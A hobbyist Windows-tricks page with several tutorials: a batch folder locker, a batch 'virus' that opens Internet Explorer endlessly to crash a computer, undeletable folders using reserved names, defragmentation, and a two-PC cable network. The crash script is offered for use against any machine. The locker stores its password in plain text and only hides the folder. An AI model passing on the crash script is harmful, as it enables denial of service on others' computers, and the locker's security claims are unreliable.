How to password protect a folder without any software?

Note: This tutorial is not for beginners.

Step 1:

  First step, all you have to do is just create a new folder.

Step 2:

 Navigate to the newly created folder(that you want to protect with password) and create a new Text Document "lock.bat"(Note that the file extension should be in 'bat' not in 'txt').

Step 3:

Inside the text document, type these codes:

cls

@ECHO OFF

title Folder Private

if EXIST "EYEMATRICX Locker" goto UNLOCK

if NOT EXIST Private goto MDLOCKER

:CONFIRM

echo Are you sure you want to lock the folder(Y/N)

set/p "cho=>"

if %cho%==Y goto LOCK

if %cho%==y goto LOCK

if %cho%==n goto END

if %cho%==N goto END

echo Invalid choice.

goto CONFIRM

:LOCK

ren Private "EYEMATRICX Locker"

attrib +h +s "EYEMATRICX Locker"

echo Folder locked

goto End

:UNLOCK

echo eyematricx batch locker

echo Enter password to unlock folder

set/p "pass=>"

if NOT %pass%== typeyourpasswordhere goto FAIL

attrib -h -s "EYEMATRICX Locker"

ren "EYEMATRICX Locker" Private

echo Folder Unlocked successfully

goto End

:FAIL

echo Invalid password

goto end

:MDLOCKER

md Private

echo Private created successfully

goto End

:End

Step 4:

 Replace "typeyourpasswordhere" with your own password. Save the file and Run  the "lock.bat" file.

Step 5:

Now you will see the new folder "Private" is created. It will quickly disappears.

Step 6:

Run the script and it will ask for a password. Type the password(default password is typeyourpasswordhere). The folder will appear again. Keep your files inside the folder and run the file again. Your folder is now locked and hidden.

Step 7:

 Everytime you want to access the folder, you need to run the file and type the password.(Wrong passwords will terminate the command window i.e. Script) 

How to create a Virus(batch program) that you will open Internet Explorer infinite times?

In this post, I will explain how to create a simple batch script program that will open Internet Explorer infinite times so that the program can easily crash any computer:

1) Open Notepad and type the following:

@echo off

:eyematricx

start iexplore.exe

goto eyematricx

@echo off

2) Save the file as “eminfinite.bat”.

3) When you run the file, the batch program will start Internet Explorer infinite times so that your System crashes due to out of physical memory.

Instead of "iexplore.exe" you can type something like "cmd.exe" to open Command Prompt infinite times. 

Make Undeletable, Unrenamable Folders

Are you irritated on deleting some important folders??? Dont`t worry we will help you by showing how to create a undeletable and unrenamable folder.... This works on Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1 and even windows 10...

VIDEO DEMONSTRATION

Basic Concept

 The basic concept behind this trick is the use of Keywords. Keywords are reserved words in any programming language that cannot be used as names of variables. Windows also uses certain keywords in its programming. Some of them are con, aux, lpt1, lpt2, lpt3, lpt4, lpt5, lpt6, lpt7, lpt8 and lpt9.

Make Undeletable and unrenamable folders:

 To test this concept, make a new folder in Windows and try to give it a name same as any keyword mentioned above.

Result

 Windows will not rename your folder to any of the keyword given above.

Trick

 So the question arises, how can we make a folder with a keyword as its name? The solution to this problem is included in Windows itself. As we know that Windows has evolved from D.O.S.(Disk Operating System), its commands can be used in Windows. You can use D.O.S. Programming in Windows to create a folder with a keyword as its name using the steps given below:-

Step1:

Click on Start.

Step2:

Click on Run. Type in "cmd" without quotes.

Step3:

In the Command Prompt Window that opens, type the name of the drive you wish to create your folder in the format <drive-name>: and press Enter. e.g. If you wish to create the undeletable folder in D drive, type "D:" without the quotes. Note that the folder cannot be created in the root of C: drive (if C: is your system drive).

Step4:

Type this command- "md con\" or "md lpt1\" without the quotes and press Enter. You can choose any of the keywords given above as the name of your folder.

 Now Windows will create an undeletable, unrenamable folder in the drive you entered in Step 3. However, the folder can be renamed to another keyword using Windows Explorer.

Deleting the Folder

 Although, it is not possible to manually delete the folder, you can delete the folder by typing "rd con\" or "rd lpt1\" in Step 4 instead of "md con\" or "md lpt1\".

 Try it yourself to create one such folder which can neither be deleted nor be renamed.

How to Defragment Hard Drives?

What is Fragmentation?

Fragmentation is a condition in which the contents of a single file are stored in different locations. This results in lack of performance mainly when playing high-end games and using high-end applications like Adobe After Effects. Many of the system tuning softwares recommend Fragmentation as their first step. But you can do this in a built-in feature of Windows. Doing defragmentation quickly improves performance of the system.

How to defragment hard drives?

Step 1:

Click on Start button and Type “Defragment and optimize your drives”.

Step 2:

There will be a list of drives. You can choose “Analyze” to check how much your partition is fragmented or you can directly choose “Optimize” to start defragmenting your drives.

How To Connect Two Computers in LAN (Using LAN or Network Cable) Without Using Any Software?

Step 1:

Open Network and sharing center: Press Win+R to open Run. Type "control.exe /name Miccrosoft.NetworkandSharingCenter" in the text box.

Step 2:

Click on "Local Area Connection".

Step 3:

Click on "Properties".

Step 4:

Click on "Internet Protocol Version 4 (TCP/IPv4)" and choose "Properties".

Step 5:

Choose the radio button "Use the  following IP address:”

and type these: IP address : 192.168.0.1  Subnet mask : 255.255.255.0 Default gateway : 192.168.0.2. Click “OK”.

Step 6:

On the other computer change the IP address to “192.168.0.2” and Default gateway to “192.168.0.1”.

Step 7:

  

   Press Win+E to open “File Explorer”. Click on “Network” in the navigation  pane.

Step 8:

1   Double click on "Other computer’s name”. (Enter password if necessary).